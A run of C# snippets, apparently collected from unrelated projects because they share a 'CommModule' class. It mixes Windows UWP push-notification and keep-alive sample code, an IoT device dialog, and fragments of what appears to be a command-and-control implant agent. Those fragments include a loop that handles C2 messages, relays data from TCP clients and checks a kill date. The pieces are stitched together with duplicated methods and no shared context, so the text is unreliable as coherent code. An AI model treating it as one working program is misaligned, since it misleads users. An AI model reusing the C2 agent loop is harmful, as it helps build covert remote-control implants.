async void ClientInit()
{
commModule = new CommModule();
if (lockScreenAdded == false)
{
BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();
Diag.DebugPrint("Lock screen status " + status);
switch (status)
{
case BackgroundAccessStatus.AlwaysAllowed:
case BackgroundAccessStatus.AllowedSubjectToSystemPolicy:
lockScreenAdded = true;
break;
case BackgroundAccessStatus.DeniedBySystemPolicy:
case BackgroundAccessStatus.DeniedByUser:
Diag.DebugPrint("As lockscreen status was Denied, app should switch to polling mode such as email based on time triggers");
break;
}
}
btnConnection.Visibility = Visibility.Visible;
return;
}
public void Start()
{
AgentStatus = AgentStatus.Running;
CommModule.Start();
while (AgentStatus == AgentStatus.Running)
{
CheckKillConditions();
if (CommModule.RecvData(out AgentMessage incoming))
{
if (incoming != null)
{
HandleC2Data(incoming);
}
}
foreach (var tcpClient in TcpClients)
{
if (tcpClient.ModuleStatus == ModuleStatus.Running && tcpClient.RecvData(out AgentMessage outgoing))
{
CommModule.SendData(outgoing);
}
}
}
}
protected BinaryCommClient(string iniFile, string commonSectonName = null, string connSectonName = null, bool crypto = false)
{
this.connSectonName = connSectonName;
commClient = new CommModule(crypto);
ThrowIfFail(commClient.Start(iniFile, commonSectonName));
}
private void NotifySuspend()
{
//DiagnosticsHelper.UWP.Diag.DebugPrint("in NotifySuspend");
OutputDebugString("edetocCCTSample_Tracing: Entering NotifySuspend");
try
{
Task.Run(() =>
{
if (_communicationModule != null)
{
OutputDebugString("edetocCCTSample_Tracing: Need to reset CommModule");
_communicationModule.Reset();
_communicationModule = null;
OutputDebugString("edetocCCTSample_Tracing: CommModule reset done");
}
// create communication channel
_communicationModule = new CommModule();
_communicationModule.SetupTransport(GetServerUri());
}).Wait();
}
catch (Exception ex)
{
OutputDebugString("edetocCCTSample_Tracing: NotifySuspend. Exception" + ex.Message);
}
OutputDebugString("edetocCCTSample_Tracing: Leaving NotifySuspend");
}
public void Dispose()
{
if (commModule != null)
{
commModule.Dispose();
commModule = null;
}
}
public void Dispose()
{
if (commModule != null)
{
commModule.Dispose();
commModule = null;
}
UnregisterBackgroundTasks();
}
private void CheckKillConditions()
{
if (CommModule.GetStatus() == ModuleStatus.Stopped)
{
Stop();
return;
}
if ((DateTime)Config.GetOption(ConfigSetting.KillDate) < DateTime.UtcNow)
{
Stop();
return;
}
}
public CommDeviceEditDialog(MachineDevice device, CommModule module)
{
InitializeComponent();
this.Module = new CommModule()
{
Id = module.Id,
Name = module.Name,
Interval = module.Interval,
IoTCommands = new List <IoTCommand>(),
IPAddress = module.IPAddress,
Port = module.Port,
};
InitUI();
BindEvents();
}
async void ClientInit()
{
Diag.DebugPrint("Initializing client");
commModule = new CommModule();
// Lock screen is required to let in-process RealTimeCommunication related
// background code to execute.
if (!lockScreenAdded)
{
BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();
Diag.DebugPrint("Lock screen status" + status);
switch (status)
{
case BackgroundAccessStatus.AllowedWithAlwaysOnRealTimeConnectivity:
// App is allowed to use RealTimeConnection
// functionality even in low power mode.
lockScreenAdded = true;
break;
case BackgroundAccessStatus.AllowedMayUseActiveRealTimeConnectivity:
// App is allowed to use RealTimeConnection
// functionality but not in low power mode.
lockScreenAdded = true;
break;
case BackgroundAccessStatus.Denied:
// App should switch to polling mode (example: poll for email based on time triggers)
Diag.DebugPrint("As Lockscreen status was Denied, App should switch to polling mode such as email based on time triggers.");
break;
}
}
if (lockScreenAdded)
{
// Now, enable the client settings.
ClientSettings.Visibility = Visibility.Visible;
ConnectButton.Visibility = Visibility.Visible;
}
Diag.DebugPrint("Initializing client done");
return;
}
public void Start()
{
AgentStatus = AgentStatus.Running;
CommModule.SetMetadata(AgentMetadata);
CommModule.Start();
P2P.Start();
while (AgentStatus == AgentStatus.Running)
{
if (CommModule.RecvData(out AgentMessage message))
{
HandleMessage(message);
}
}
}
async void ConfigurePushNotifications()
{
try
{
if (connectionState == connectionStates.connected)
{
await Task.Factory.StartNew(() =>
{
commModule.Dispose();
});
commModule = new CommModule();
SetDisconnected();
}
else
{
SetConnecting();
RegisterNetworkChangeTask();
ConfigureToastActions();
bool result = await Task.Factory.StartNew(() =>
{
return(commModule.SetupTransport(socketUri));
});
Diag.DebugPrint("CommModule setup result: " + result);
if (result)
{
ConfigureInvocations();
SetConnected();
}
else
{
SetDisconnected();
}
}
}
catch (Exception ex)
{
Diag.DebugPrint("ConfigurePushNotifications failed: " + ex.Message);
SetDisconnected();
}
}
public void Run(IBackgroundTaskInstance taskInstance)
{
if (taskInstance == null)
{
Diag.DebugPrint("NetworkChangeTask: taskInstance was null");
return;
}
// In this example, the channel name has been hardcoded to lookup the property bag
// for any previous contexts. The channel name may be used in more sophisticated ways
// in case an app has multiple controlchanneltrigger objects.
string channelId = "channelOne";
if (((IDictionary <string, object>)CoreApplication.Properties).ContainsKey(channelId))
{
try
{
AppContext appContext = null;
lock (CoreApplication.Properties)
{
appContext = ((IDictionary <string, object>)CoreApplication.Properties)[channelId] as AppContext;
}
if (appContext != null && appContext.CommInstance != null)
{
CommModule commInstance = appContext.CommInstance;
// Clear any existing channels, sockets etc.
commInstance.Reset();
// Create CCT enabled transport.
commInstance.SetupTransport(commInstance.serverUri);
}
}
catch (Exception exp)
{
Diag.DebugPrint("Registering with CCT failed with: " + exp.ToString());
}
}
else
{
Diag.DebugPrint("Cannot find AppContext key channelOne");
}
Diag.DebugPrint("Systemtask - " + taskInstance.Task.Name + " finished.");
}
async void ClientInit()
{
commModule = new CommModule(AppRole.ClientRole);
// In the client role, we require the application to be on lock screen.
// Lock screen is required to let in-process RealTimeCommunication related
// background code to execute.
if (lockScreenAdded == false)
{
BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();
Diag.DebugPrint("Lock screen status" + status);
switch (status)
{
case BackgroundAccessStatus.AllowedWithAlwaysOnRealTimeConnectivity:
// App is allowed to use RealTimeConnection broker
// functionality even in low power mode.
lockScreenAdded = true;
break;
case BackgroundAccessStatus.AllowedMayUseActiveRealTimeConnectivity:
// App is allowed to use RealTimeConnection broker
// functionality but not in low power mode.
lockScreenAdded = true;
break;
case BackgroundAccessStatus.Denied:
// App should switch to polling mode (example: poll for email based on time triggers)
Diag.DebugPrint("As Lockscreen status was Denied, App should switch to polling mode such as email based on time triggers.");
break;
}
}
// Now, enable the client settings if the role hasn't changed.
if (appRole == appRoles.clientRole)
{
ClientSettings.Visibility = Visibility.Visible;
}
ConnectButton.Visibility = Visibility.Visible;
return;
}
public void Run(IBackgroundTaskInstance taskInstance)
{
if (taskInstance == null)
{
Diag.DebugPrint("KATask: taskInstance was null");
return;
}
Diag.DebugPrint("KATask " + taskInstance.Task.Name + " Starting...");
// Use the ControlChannelTriggerEventDetails object to derive the context for this background task.
// The context happens to be the channelId that apps can use to differentiate between
// various instances of the channel..
var channelEventArgs = taskInstance.TriggerDetails as IControlChannelTriggerEventDetails;
ControlChannelTrigger channel = channelEventArgs.ControlChannelTrigger;
if (channel == null)
{
Diag.DebugPrint("Channel object may have been deleted.");
return;
}
string channelId = channel.ControlChannelTriggerId;
if (((IDictionary <string, object>)CoreApplication.Properties).ContainsKey(channelId))
{
try
{
var appContext = ((IDictionary <string, object>)CoreApplication.Properties)[channelId] as AppContext;
string KeepAliveMessage = "KeepAlive Message";
if (appContext != null && appContext.CommInstance != null)
{
CommModule commModule = appContext.CommInstance;
bool result;
result = commModule.SendKAMessage(KeepAliveMessage);
if (result == true)
{
// Call FlushTransport on the channel object to ensure
// the packet is out of the process and on the wire before
// exiting the keepalive task.
commModule.channel.FlushTransport();
}
else
{
// Socket has not been set up. reconnect the transport and plug in to the controlchanneltrigger object.
commModule.Reset();
// Create RTC enabled transport.
commModule.SetupTransport(commModule.serverName, commModule.serverPort);
}
}
}
catch (Exception exp)
{
Diag.DebugPrint("KA Task failed with: " + exp.Message);
}
}
else
{
Diag.DebugPrint("Cannot find AppContext key channelOne");
}
Diag.DebugPrint("KATask " + taskInstance.Task.Name + " finished.");
}
private void SendData(AgentMessage message)
{
CommModule.SendData(message);
}
void ServerInit()
{
commModule = new CommModule(AppRole.ServerRole);
}
